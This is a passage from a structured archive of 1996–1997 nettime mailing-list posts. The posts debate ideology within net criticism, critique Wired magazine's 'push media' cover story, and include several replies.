now?\n\n**\nsomehow 'in bytecity we solve our problems in our own way'. A killer-meme\nincluding the ever possible seed for 'cyberfascism' was detected by several\nideological alarm systems anywhere in the world wide west. It was a\nvery calm shift, a subterrenean battle, down in the bunkers of the\ninfo-elite one dicided to do some sacrifices. the digital revolution eats\nits children. In many talks i had it became clear, that it's no time\nto unify but to report from the borders of the net and be aware of the\ndifferent modes of virtual violence to become human again.\n\n***\nan extremely subjective answer:\nfrom the virtual position of an archaic net god, from the snowy\nheights of the old world, cyberzarathustra spoke to us, already on the other \nside, he appeared as an all-american avatar and one could do a breath-taking \nmorph through the multiple mythical subjectivations of the poet, pioneer, \npriest, cowboy, indian, general, president, hippy, father, son, \nentrepreneur, prophet, pilgrim, angel, alien, to learn a simple lecture of \ninitiation: the new world is splitted in two halves again, were the 'new' \none declares itself independent from the 'old' one we have to leave. our half,\nthe virtual, the new, the rich, the highly technified, the bodyhatred and \ndematerialized, the one with the new marketplaces, and secret knowledge, \nimmune against earthy powers, a civilisation of split mind, in the name of \nnature and everything which is bigger than real, this 'better part' is ours \nnow, bound to the idea of a virtual america. And you say you didn't believe\nin it? Any of these concepts cuts a black whole in the wish economy of\ncyberspace, if we connect them together to a new mind territory, we get\nsomething completly monstrous. \n\n****\nterms to forget:\nthe net is not the territory and other truthful lies, \"the net\" as \nmetaphysical entity which constitutes real power, a number of metaphor \nmismatch errors net=life=nature=global_brain=weltgeist=mythical_power, \ncomputer science as esotheric secret knowledge, the wholy pathos and \ngrandiosity of 'the net' (as ersatz-religion), the wishful thinking of an \neconomic explosion (golden future), the will to push the repeat history \nbutton (golden past), the taboo of a disfunctional and unhealthy internet, \nthe obsession to walk in the footsteps of the founder fathers, the obsession \nto find the eternal woodstock which is hiding in internet+unix (born in \n1969), taking the newest Cyberacid driving along the road to nihil, the \nexpectation of new and improved humankind through harder selection, the \nunavoidable apocalyptic turnover, the clean aesthetics of cyberwar, the \ndoom-day of the net, the male obsession with artifical life, the digital \nvoid of the american soul, the wholy mission of bringing virtual freedom to \nthe manking, the obsession with 'innocence' and it's abuse, disgusting \nflesh, the hate of the own body, mortality, body-fluids, splitted wired \ndesire and it's way to a useful 'mythical external force', \ninformation=money, privatisation and cyber-slavery, corporate meta-nations.. \nan incomplete list of a collective thinking which is hopefully part of the \npast.\n\n*****\nwhat do you want to do today?\n-opening up new genres, adding some examples, practising with little text forms\n-implicit net critique, reports from the borders of the net, 2-culture-dialogue\n-the technological subconsciousness, compile, compress, decode, decipher\n-the end of the future hype, unlikely futures, imaginary websites, good ideas\n-the etext gathering is still open for Madrid 5cyberconf ZKP2 200p. until May 15\n\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "date": "Sun, 21 Apr 96 16:40 MDT",
                "to": "nettime-l {AT} desk.nl",
                "message-id": "m0uB0FX&#45;0000EQC {AT} contrib.",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9604/msg00023.html",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "nettime: whishful thinking"
            },
            {
                "from": "IGOR.MARKOVIC {AT} ZAMIR-ZG.ztn.apc.org (Igor Markovic) (by way of pit {AT} contrib.de(Pit Schultz))",
                "id": "00085",
                "content": "\nNo more ideologies - keep cyberspace clean!\n\nWith the growth of importance and influence of the nettime (list, circle of\npeople and concepts etc.) people who lived at least a part of their lives\nin socialism - but not only them - can recognise emerging of some\nnteresting processes. I have in mind selfunderstaindable leadership of\ndominant idea, ideology, viewpoint.\nSince the time of the First International and famous Haag congress discussion\nabout leadership and/or problems of representation of other voices is\npresent, particularly in the \"left\" whatever one could consider into that\nterm. And nettime is \"left\". There is no doubt about it.\nSome recent highlights, at the first look not connected with the topic, warn\nthat there is place for being worried. Set is prepared and only from the\nactors itself (there is no director in this play!) depend the end. At the\nfinal discussion on Next5Minutes Conference it was kind a lot of\ndiscussion about \"being neo-marxist\" and how to fight \"bad\" ideologies on\nthe Net, and some reflection were available in several following\ndiscussions, including some postings to this list.\nRecent private discussion I had with Geert Lovink about meanings of the term\n\"net criticism\", and how it should be recognised and used along with\nToshiya Ueno's visit to Zagreb start alarm in my head.\nIt happened before. It also start innocent, it was in good purpose, but it\nfinished into Holocaust. I will dare to try to compare period just before\nthe Soviet revolution and present position of nettime. It's very important\nto stress that ideologically those two things have very little in common.\nOnly important similarity is at the field of organisation. At the Congress\nBolsheviks have very few representative, but they have some of the most eminent\nindividuals of the time, and they somehow manage to turn some\nsindycalists, anarchists, and Tkachevist on their side, get majority,\nproclaim marxism-lenism as a favourite ideology and the rest is history.\n(Lately, during the Spanish civil war it was shown that people do not need\nsome specific leaders who will explain them meanings of life.)\nWhat, in my humble opinion happens at the field of net criticism, and around\nnettime (it work for some other emerging groups, circles or lists) is\nsomething with similar characteristics.\nFirst, there is some kind of felling of being something special - it is more\nthen obvious in the discussions, at the conferences and in different\narticles and papers around. Non-academism could also be a form of elitism.\nIt's nothing bad in being aware of personal values, but it easily could be\nturned into pejorative elitism. Usually there is no discussion (on-line)\nwith the people from \"outside\", who do not share enthusiasm for the\nnettime idea, which is mainly their fault, but it is not good for the\nidea, which can grow and develop only in constant discussion, re-thinking,\nand if it is necessary flaming. It happened to the Marxism in Eastern\nEurope: no real enemies, no controversies, just Marx-Engels: Werke.\nExcellent point in resistance to possible autoghetoisation were stopping\nthe moderation of the list, unfortunately discussion is still focus\nonly to some specific \"inside\" points, without broader audience. But\npossibility exist! It's on the people to use it.\nThe bigger problem, however, could be (and it already is) insisting on common\nplatform (particularly neo-marxist!) and sharing ideologies of resistance/\nprogress or whatever. It was strange before, and it is even stranger today\nto insist on wide spread organisations against the Others - no matter how\n\"bad\" they are. Why is it necessary to insist on some new -ism, on one\nand ultimate theoretical explanation which will take care and explain to the\n\"common\" people how and way they should resist to MegaGodzila, Californian\nideology, or McDonalds? History show that it is irrelevant was it done on\npurpose or not - people in and around nettime have no such ambitions, but\ndanger remains! After all, who saw the Stalin shadow behind Marx in 19th\ncentury? Insisting on common aims, or thousands of other phrases like that will\nproduce the Thinkers, the Philosophers, the Politicians who will have\nprepared answers to problems, and who will then became the Leaders - it\ndoesn't matter do they want to be Leaders or not! They will be installed -\nfrom the \"common people!\" as Leaders, and sooner or later they will have\nto accept such label, or leave the real life and live quiet life in\ncountry house with a gazebo.\nDanger is double. First there is no person who can guarantee for itself that\nsuch privilege position wouldn't change it at least a bit. Power change\npeople, and in this case ultimate power to be interpreter of what is going\non, and how to deal with it, it may finished in the catastrophe. On\nStalin's dead Ionescu wrote - very correctly - that it's not the Stalin\nwho was real monster - but all those small Stalins in kolhozes, factories,\nschools...\nSecondly, nettime put together some of the biggest minds at the field of the\nsocial implications of the new media, lot of people would like to be part\nof it, and in minds of people with modest capacity (myself for example) it\nlook like club in the Ivy League. Those people produce a lot of new ideas,\nwhich knowledge hungry \"ordinary people\" just grab and try to digest. Look\njust what happened with post-modern and Baudrillard! It is necessary for\nthinkers and theoreticians to permanent fight against such tendencies, and\non the other hand they can not do that all the time, they are just human\nbeings.\nI have no right answer how to fight those processes - if I describe them\ncorrectly in the first place, and it would be very dangerous if anyone\nwill came with the final solution, but recognition of the problem and\ndiscussion about it sounds like a good starting point.\nCause, if I have to choose - and it might happen - between Negropontean or\nCalifornian or whatever global state and nettimean or rhizomean or\nnetizenshipean or whatever avanguarde of the working class, I have to\nchoose the first one. Not because I like it, but for the simple fact\nthat Soviet revolution failed with the Kronstadt, not with the Berlin wall.\n\nIgor Markovic\nIntelectual cooperative Bastard\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "list": "nettime_l",
                "date": "Fri, 14 Mar 1997 23:15:39 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "v01540b0daf4f7bb1c299 {AT} [194.24.161.65]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00085.html",
                "content-type": "text/plai",
                "author_name": "Igor Markovic",
                "subject": "nettime: Nettimism? No thank you!"
            },
            {
                "content-type": "text/plai",
                "from": "ank Hartmann <hartmann {AT} fsf.adis.at> (by way of pit {AT} contrib.de (Pit Schultz))",
                "id": "00093",
                "content": "\nBASTARD answers to Igor Markovic's\n\"No more ideologies - keep cyberspace clean!\"\n\nNever mind the \"cold war myths\". The scholarly answer one might give to\nMarkovic's logorrhea is important, but as toothless as a retired\nacademic.\nMarkovic tries to be impressive by speaking out of a specific historical\nsituation, in the name of \"people who lived at least a part of their\nlives in socialism\". This should give his claims the necessary touch of\nreal-life experience. Thus he shouts: no more ideologies! No more\nleaders! No more Holocaust! He wants to alarm us and share panic, in\norder to hide the hollowness in his criticism of nettime, which in all\nits simplicity follows the well known path of anti-intellectual\nresentment.\n\nThe idea of the possible end of ideology is an ideological idea par\nexcellence. Therefore, we do not even need to consult the referring\ntheory (e.g. Althusser), but recognize the recent developments in the\npost-Socialist Eastern Europe as a demonstration for the fact that we\nare far from living in a \"post-ideological society\".\n\nIf we really want to reflect upon the experience of \"people who lived at\nleast a part of their lives in socialism\", we should not dream about\nnettime as a kind of a meta-ideological discussion space. We should\nrather ask: how did the change in Eastern Europe affect the traditional\nconcept of \"Ideologiekritik\", and how did this change compel us to\napproach the prerequisits for the function of ideological structures in\na new way - in the context of new media theory & practice.\n\nFor this aim the metaphor of the primal Bolshevik situation is\ninappropriate. This reference much more reveals Markovic's frustrated\nparanoia than sharpening the perception of the historical situation we\nlive in and of the aims a project like nettime might have in it. There\nis a quite neglectable danger of nettime giving birth to a new Stalin or\nHitler. But the real danger is those ignorant people, who try to impose\ntheir compensatory paranoia to the discussion as a whole.\n\nAll dualistic choices are delusive, be it between left and right, or\nNegroponte and Lovink, or WIRED and NETTIME - the bandwidth simply is\nhigher than that. We do not have to identify ourselves with sides, be\nit the Californian vs. any other kind of ideology - there are no polls,\nwe are not up to votes. This is also not about the question if\nnet-critique is a proper neo/post-marxism of sorts, but rather about an\nawareness of what really matters. The quest for a \"clean\" cyberspace,\nfree of any ideology, is closer to some \"final solution\" than Markovic\nhimself might think (a connection impressively revealed by\nPolish/British sociologist Zygmunt Bauman in his study 'Modernity and\nAmbivalence'). His wish for cleanliness thoroughly contradicts the idea\nof the intellectual cooperative he signs for, Bastard, a term coined to\nexpress the hybrid energy of new media.\n\nKeep cyberspace clean? Let us stay a little bit more realistic here. As\nMarkovic himself put it - \"recognition of the problem and discussion\nabout it sounds like a good starting point\".\n\nBoris Buden & Frank Hartmann\nbuden {AT} ping.at , hartmann {AT} ping.at\nBASTARD http://pubwww.srce.hr/arkzin/bastard/bastard.htm\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "date": "Mon, 17 Mar 1997 07:51:33 +0100",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "v01540b00af524ad7e06c {AT} [194.24.161.76]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00093.html",
                "list": "nettime_l",
                "author_name": "Frank Hartmann  (by way of pit {AT} contrib.de (Pit Schultz))",
                "subject": "nettime: re: Nettimism? No thank you!"
            },
            {
                "id": "00006",
                "content": "\nA Push Media Critique\nOn the rebirth strategies of Wired magazine\nBy Geert Lovink\n\nThe March 1997 issue of Wired (5.03) has an unusual cover. No digirati\nthis time. Just a big blue hand on a red background, designed like a\nwarning signal, saying 'PUSH!'. It tries to hold us. Or is it pushing\nus something into our face? The slogan says: 'We interrupt this\nmagazine for a special bulletin -' The breaking news is about 'the\nradical future of media beyond the Web.' The article is written by 'the\neditors of Wired'. Will they declare a state of emergency for\ncyberspace?\n\nWhy should Wired have to interrupt itself? It is not CNN. Just because\nof some new audio and video software that is hitting the market? Is the\n'shock of the new' indeed so overwhelming that it forced the editors to\nwrite a common statement about the rise of so-called 'push media'?\nThere must be something else going on. Wired seems to be in crisis and\nneeds to reinvent itself. Due to the commercialization of the net, big\npublishing houses, cable giants, telecoms and software companies have\nmoved in, and are now pushing the web into the direction of old-style\nbroadcasting technologies. Wired calls this the 'Revenge of TV' (with a\n?). But this is only the logical consequence of its own strategy. For\nyears, Wired has been reporting euphorically about the coming symbiosis\nof TV and the Net as the ultimate killer app. At this moment,\nwebbrowers are being surrounded by other applications. The WaitWaitWait\nis about to lose its hegemonic position. The static, book-based idea of\n'web pages' will be taken over by much more dynamic audio and video. If\nthe net has to become a mass medium, then it has to merge with the\nfilm, tv, cable etc. industry. And if the market says so, it has to\nhappen. That is what the ideology of the free market says. So sit down\nand watch the next paradigm shift going by on your screen.\n\nStill, we can read a certain discontent, even betrayal in this odd\ndocument. We have to wake up from the dream called Web. Suddenly, HTML\nis described as the language of an 'archive medium. Archive as in\nstacks of old books in a library.' That's different from what we have\nheard before. 'The Web is a wonderful library, but a library\nnonetheless.' This is a smash in the face of all the followers, net\nslaves, usefull web-idiots and other digital fellow travellers that\nhave spoilt all their energy and devotion into... building a library.\nThis was not what they promised us.\n\nWired's own destiny is closely connected to the rise (and fall?) of the\nWorld Wide Web. This magazin (founded in 92) is not about the old\ninternet, nor does it deal with hackers issues. It eventually became\nbig because of the commercial interest in the WWW (and multi-media).\n'Kiss your browser goodbye' could therefore easily be read as an\nindication that Wired itself 'is about to croak', or at least needs to\ngo through a tough phase of rebirth rituals (downseizing,\nrestructuring, sell out, take over, etc.). There are several\nindications for this, which are all publicly known. The German edition\nwas cancelled, than it failed (twice) to go to Wall Street. Now, Wired\nTV seems to produce programs but is not (yet) able to broadcast them.\nThe UK-edition seized to exist from March 1st. And for the first time\nwe heard rumours about an internal fight between the techno-libertarian\nmanegement and some critical and progressive individuals.\n\nThe Wired enterprise must have been in big need for a new ideology (or\n'vision') and tries to find it in the catch phrase 'push media'. But\nthis pushing does not fit exactly within the previous ideology. Just\nread what George Gilder is writing about television and why it ought to\ndecline. Economically, the web is still tiny in comparison to, for\nexample, advertisement revenues of television. This was one of the\nreasons why Wired could not grow any longer. The profit of the magazine\nhad reached its limit. The company was forced to diversify and became a\nsmall media-conglomerate. Besides the magazine, Hotwired and the book\npublishing division Hard Wired, there is now surprisingly also 'Wired\nTV'. This may sound like Lenin's dialectics: one step forward, two\nsteps back. But only with a television division, Wired Inc. might be\nable to make the next quantum leap. For this it needed to go to the\nstockmarket. Venture capital alone was not enough to ensure the\nfinancing of all these different ventures. At least, that's what I\nthink, I am not a Wired watcher.\n\nAt this point, the Wired Story stumbles, hesitates and comes up with a\ncurious manifesto that above all reflects the uncertainty about the\nfuture of the magazine. For net critics, it might be amusing to see how\nWired is being overruled by true media capitalism. But we have to\nhonost: these are all questions that we will all have to face, sooner\nof later. For example: can we preserve some of the old net values and\nstandards, encourage technical and social innovation and public access,\nwithout falling back into the patterns of mass media and the existing\nculture industry? It can be ironical, to see Wired struggling. But\n'Wired bashing' can only have positive results, if we use it as a\nmirror, not just see it as an imaginairy enemy. Even in time of trouble\nthere is the real existing 'Desire to be Wired'.\n\nWired wants to 'move seamlessly between media you steer (interactive)\nand media that steer you (passive)'. These push media 'work with\nexisting media' and create an 'emerging universe of networked media'.\nWe have to read between the lines here. It simply means that the Web\nwill have to give up its ideological hegemony it had in the last three\nyears as the 'medium to end all media.' Web is just one channel,\namongst many others. 'The Web is one', as Wired puts it now. A fairly\nrealistic point of view, but not fitting into the original net\nreligion, the Wired visionaries has been preaching. The Web had to\nreplace all other media, intergrate them, that was the idea, or as the\n'special bulletin' still states: 'As everything get wired, media of all\nkinds are moving to the decentralized matrix known as the Net.' In\nreality, it is going the other way around. The net is moving to the\ncentralized business known as the Broadcasting Media. 'What is about to\ndisappear is the defining role of the old Web.' Irritated and somehow\ndisappointed, the editors have to admit that 'the traditional forms -\nbroadcast, print' - show few signs of vanishing.' How unfair, they\nshould have disappeared by now. What went wrong?\n\nThe fault also lies in the netizens themselves. 'The subterranean\ninstincts of couch potatoes rise again!' In secret, many continued\nwatching tv. The editors thought it was time to face this bitter\nreality. 'True, there's a little couch potatoe in all of us. The human\ndesire to sit back and be told a completely ridiculous story is as\ndependable as the plot of a soap.' Unfortunately, only a few of us have\nbeen able to get away from the '45 years of addiction to passive\nmedia. Only a handful of us turn out to be up for the vigorous activity\nof reaching out to engage the world. Bummer.'\n\nIn order not to lose its role as the Prawda of Silicon Valley, Wired\nmust take the lead and incorporate the latest developments. But this\ntime, their enthousiasm does not sound very exciting. 'The new\nnetworked media borrow ideas from television, but the new media\nlandscape will look nothing like TV as we know it. And indeed, it will\ntransform TV in the process.' What it is failing here is a clear\neconomic analysis. Television is not just a screen or an interface. The\nintroduction of (some sort of) interactivity is most of all a\nmoney/profit question, decided by a few companies, in an ungoing war on\nstandards.\n\nCybernauts, netheads, websurfers, wake up. The boredom will be over\nsoon. 'Push media are always on, mobile, customizable'. These total\nmedia arrive automatically and 'always assume you are available.' It is\nbegging for your attention. It will therefor be important, to know how\nto switch them off. The Push Manifesto is indeed warning us for\npossible misuse, like government regulation of networked push media and\nprivacy violations ('it finds you rather than you finding it'). Neither\nold, nor new (in the sense of utopian), push media are rapidly 'closing\nthe gaps between existing media, towards one seamless media continuum.'\nThe totality of the 'unification' seems worry the editors. 'All we can\nsay is, Let a thousand media types bloom. Soon.' But this presumes a\ndeeper knowledge of both new and old realities, for example television.\n\n'Each cycle of extend/unify notches up the ratchet of media complexity.\nOntogeny recaptulates phylogeny, in interactive media as in biological\nmedia.' This must be Kevin Kelly speaking. We are getting to a\nconclusion. He has seen it all and stays calm, like all techno-\ndarwinists. For Kelly it is just a stage, Wired and all of us have to\ngo through: 'All media recapitulate the evolution of former media. So\nonline media have evolved from smoke signals (email) to books and\nmagazines (the Web). We are now about to arrive at television (push\nmedia).' It is touching to read how carefull and naive the Special\nBulletin is trying to describe the zapping behaviour of the viewer. It\nis obviously a topic Wired did not write about so far. Perhaps it is\ntime for them (and us) to get to know the 45 years old theories of mass\ncommunication, the (cultural) studies on the behaviour of the viewer,\nthe specific history of this technology and the economic (monopolistic)\nforces that are dominating this branch. So, stop speculating about\n'push media' and visit your library first.\n\u001a\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00006.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "nettime: push media",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "dmandl {AT} panix.com (David Mandl)",
                        "content": "\nExcellent piece, Geert!\n\nWired is either full of shit (the advent of push technology has completely\ncontradicted what they've been saying all along and they're trying to lie\nabout that), or cynical and evil (they knew this is what would happen all\nalong but were talking like revolutionaries at the beginning just to gain\nmarket share and credibility with net libertarians).\n\nI can hardly wait for Wired to publish breathless editorials on these\nexciting phenomena when they happen:\n\n- The death of small ISPs and eventual control of the net by a handful of\nnational (multinational?) providers, quite likely existing\nmega-corporations like AT&T and Microsoft\n\n- The final death or atrophying of Usenet, the net's oldest forum for open,\nmany-to-many discussion, finally making the net almost completely read-only\nand devoid of \"public space\"\n\n- The increasing willingness of net-related businesses to sell users out by\ncooperating with the U.S. government in exchange for favors: using weak\nencryption, turning mail logs over to the FBI, supporting anti-privacy\nlegislation, etc.\n\n- Increasingly frequent crackdowns on porn, \"illegal\" information or\n\"libel,\" dissident literature, etc., on the net\n\n- The growth of sophisticated dossier-building by employers and\ngovernments, and the exchange of information between them\n\n- The invasion of every inch of the net by advertisements\n\nWill Wired support these developments?  Will they claim they predicted them\nall along?  Will they try to put their patented\nradical-techno-postcapitalist spin on them to make them seem somehow like\ncool third-wave phenomena?\n\nStay tuned.\n\n   --Dave.\n\n--\nDave Mandl\ndmandl {AT} panix.com\ndavem {AT} wfmu.org\nhttp://www.wfmu.org/~davem\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00011",
                        "date": "Mon, 3 Mar 1997 00:34:24 -0500",
                        "to": "Geert Lovink <geert {AT} xs4all.nl>",
                        "message-id": "v01540b04af4004927dbd {AT} [166.84.250.21]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00011.html",
                        "content-type": "text/plai",
                        "author_name": "David Mandl",
                        "subject": "Re: nettime: push media"
                    },
                    {
                        "from": "Tilman Baumgaertel <Tilman_Baumgaertel {AT} compuserve.com>",
                        "content": "\nHi!\n\n        Thank you for your enlighting piece about this silly Wired cover\nstory. \n\n        I pretty much agree with your analysis, but I think you have\noverlooked on important detail, that makes this whole story even more\nquestionable: that Wired magazin itself is in the business of\ninternet-based push media.\n\n        I\u00b4m not talking about the slightly obnoxious attempts of certain\nWired-editors to make Nettimers participate in Chats with their\ncyber-buddys (the ones that eventually don\u00b4t take place, haha). I\u00b4m talking\nabout the News-Service that Wired offers in collaboration with \"Pointcast\",\nthe pioneers of \"push media\". \n\n        Apparently the news that are published at www.wired.com/news/ are\nalso delievered to \"the comfort of your own home\" via one of the \"channels\"\nof Pointcast, a programm that downloads stuff to your computer when you are\nnot using your internet connection, and displays it as a screen saver. You\nhave to subscribe to this service like you would subscribe to a magazine. I\ndo not use \"Pointcast\" myself, but that\u00b4s what I learned from various\nreports in the internet press.\n\n        That would make this cover story a bold attempt of \"hard sell\":\n\"Wired\" first creates a demand for \"push media\", than it is there to meet\nthis demand with a product. If \"Wired\" manages to put that \"push media\"-\nmeme into circulation as it did with other ideas, this \"Wired News Channel\"\nwould certainly be one of the first businesses to profit from this new\nhype. \n\nYours,\nTilman \n\nPS: If you want to see grown men or women cry, make them install the\n\"Castanet\"-Software. So much for the state of the art of \"push-media\"... \n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                        "id": "00014",
                        "date": "Mon, 3 Mar 1997 06:38:46 -0500",
                        "to": "Geert Lovink <geert {AT} xs4all.nl>",
                        "message-id": "199703030639_MC2&#45;11F7&#45;4DB2 {AT} compuserve.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00014.html",
                        "content-type": "text/plai",
                        "author_name": "Tilman Baumgaertel",
                        "subject": "nettime: push media"
                    }
                ],
                "message-id": "199703022031.VAA24068 {AT} xs2.xs4all.nl",
                "date": "Sun, 2 Mar 1997 21:31:08 +0100 (MET)",
                "content-type": "text/plai"
            },
            {
                "id": "00058",
                "content": "\nDear Mercedes,\n\nmy push media critique mirrored the way Wired magazine announced\nthis latest hype, you are right about this. I tried to analyze\nthis long editorial manifesto, which I still see as a very\ncurious document and I linked it to related developments within\nthe Wired corporation. I did not even know at the time about\nWired News and their experiments with all the existing push media\nsoftware.\n\nI do not agree with Foucault about the status of critique. He\nmight be right, but the effects of his phrases about the End of\nCritique have prevented many of our generation in making rough,\ndirty, daily analyses of the powers-to-be (and making mistakes).\nThe strategies of disappearance and nice and poetic indirect\nsayings, caught in the complicated parisian language traps, have\nkept us away from the capability to clearly see what is going on\nand intervene and finally draw conclusions and come up with new\nforms of organization.\n\n(Net) Critique for me is not about some old friend-foe\ndistinction. I do not need enemies, I need mirrors, fixed\nobjects, texts I can analyze, in order to better understand the\nrapid developments. All the big and small media items and hypes\nneed a certain, underlying structure. Together we have to figure\nout what this is, otherwise we are only drifting in a sea of\nvirtual signifiers. Critique is a way to understand and has got\nnothing to do with attack or even 'bashing'. It's a specific way\nof writing (limited, though) in order to set literary,\npolitical, ethical, aestetical rules and standards. This is\nperfectly normal in the world of film, theater and books and\nshould also be established for the still very small culture that\ndeals with new media.\n\nWired is not an endangered species or some minority that cannot\ndefend itself so easily. But I have noticed thoughout the years,\nthat is also a group of people which is not so easy to\nunderstand. Their agenda is a very specific one and you need a\nlot of background information in order to understand their\neditorial policies and decisions. To give you some examples. Who\nof nettime has ever studied the writings of George Gilder and can\nshow us how his anti-statist, conservative agenda influenced the\nWired gang? My group, Adilkno, tried to characterize the\ncyberculture of the Westcoast, back in the spring of 1994. You\ncan find this essay in the german Datendandy book (not available\nin english). Here you can see how are circling around the Wired\nideology, not being able to grasp it, surrounded by high piles of\nbooks and stories about the USA in the last thirty years, which\nis in part also our own history.\n\nMark Dery (ed.) came with his Flame Wars and Weinstein and Kroker\nwith their notion of the virtual class. Only then I understood a\nbit more, but still, here in Holland, everyone reads Wired, but\nnot one intellectual has yet been able to analyze this magazine.\nI mean it's political agenda, it's attractive sides and the way\nit selects the topics. People are impressed and intimidated by\nthe big lead that still exists between the USA and Europe (appr.\n3 to 5 years). And this makes the reading of Wired so exciting,\nalso for me. It comes from the future, specially if you are\nsurrounded by the specifics of Old and Deep Europe, like me,\ngoing back and forth between Amsterdam and the Balkans.\n\nThe Wired group originates from Amsterdam and left in 1991 or\n1992 for San Francisco. They were kind of friends with\nMediamatic, of which I was an editor at that time, alltough I did\nnot know them personally. From here we followed their attempts to\nget money, the zero issue and then their tremendous success, from\nthe very start. It was clear to us that they neither wanted to\ncopy the new age underground style of Mondo 2000, nor the art and\ntheory discourse of Mediamatic. They took a kind of journalistic\napproach, but without the critical attitude of the investigative\njournalism. They had to sell something, that was their inner\ndrive. But what? Not hard- or software. It took me a long time to\nfind out what they were 'pushing' and it is still not clear to me\nall the time.\n\nBut Wired is small, Ken Wark is right about that. Even the whole\nmedia business is nothing compared to other industries. But it's\nour branch. And Wired is my magazine. I haven't missed one issue\nand I am the last one to look down on it, or dismiss it because\nof it's bad quality. Both Mondo 2000 and Mediamatic almost seized\nto exist (as regular publications). And we have not been able yet\nto come up with a critical alternative to Wired. That's why they\nhave the field to themselves, still.\n\n\u001a\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9703/msg00058.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "nettime: push wired?",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "ercedes {AT} techno.de (mercedes)",
                        "content": "\nDear Geert,\n\n>I do not agree with Foucault about the status of critique. He\n>might be right, but the effects of his phrases about the End of\n>Critique have prevented many of our generation in making rough,\n>dirty, daily analyses of the powers-to-be (and making mistakes).\n\nI do partly agree with what you wrote here. But isn^t it like this: More\nthan Foucault stopped any critique he got caught from right positions, who\ntried to hold his writings against the left thinking like: Here, look, your\nfight is over! It is over in a different sense for me, because i think we\nhave to go over to new strategies, which does not mean stop analyses, but\nwork further on it and hold an own modell against it. Like nettime maybe\nnormally is. In fact Foucault never told anywhere anybody to stop thinking,\nbut he created new modells in showing that critique has always to change to\nbe still critique.\n\n>I need mirrors, fixed\n>objects, texts I can analyze, in order to better understand the\n>rapid developments.\n\nOf course there are still these traditional tools of analyses, but they\nchanged the direction, didn^t they? It is not about criticizing anything\nand that^s it, but about using it as a mirror, like you said, in order to\ndevellop own strategies.\nI did get very radical about this, which means in detail: I do not care\nabout the mistakes of the \"other\", but prefer to take up all the evil (gee,\nmy words), annoying things and learn from them. Take the good things away\nfrom them, steal them over to my own concepts. (That^s what YT in Snowcrash\ndoes, kind of) Putting up a border between us in terms of where are their\nmistakes equals why are they bad would prevent me from learning.\nI personally criticize in that negative way when i do not understand what\nand why something is going on. Like as time to think.\n\n\n>Wired is not an endangered species or some minority that cannot\n>defend itself so easily.\n\nI never thought Wired as a victim, nor did i want to defend them, just to\nhold open this possibility to look at them and take their knowledge and\ntricks away. To much negative critique can just close that door, i think.\n\n>But Wired is small, Ken Wark is right about that. Even the whole\n>media business is nothing compared to other industries. But it's\n>our branch. And Wired is my magazine. I haven't missed one issue\n>and I am the last one to look down on it, or dismiss it because\n>of it's bad quality. Both Mondo 2000 and Mediamatic almost seized\n>to exist (as regular publications). And we have not been able yet\n>to come up with a critical alternative to Wired. That's why they\n>have the field to themselves, still.\n\nThere may be the point really. As Mark Stahlmann wrote:\n>The answer to your question is that we don't know the answer.  The\n>Toffler/Kelly world has been working on their view of post-industrialism\n>for 40+ years.  The post-modernist philosophers have also been building\n>their houses for just as long (or longer depending on when you start\n>counting).\n\nThe reason, why Wired is so big, might be quite obvious. Clever combination\nof new and more important than ever technology wrapped up in a little bit\nof culture, spiced and mildered by a little bit of journalistic approach 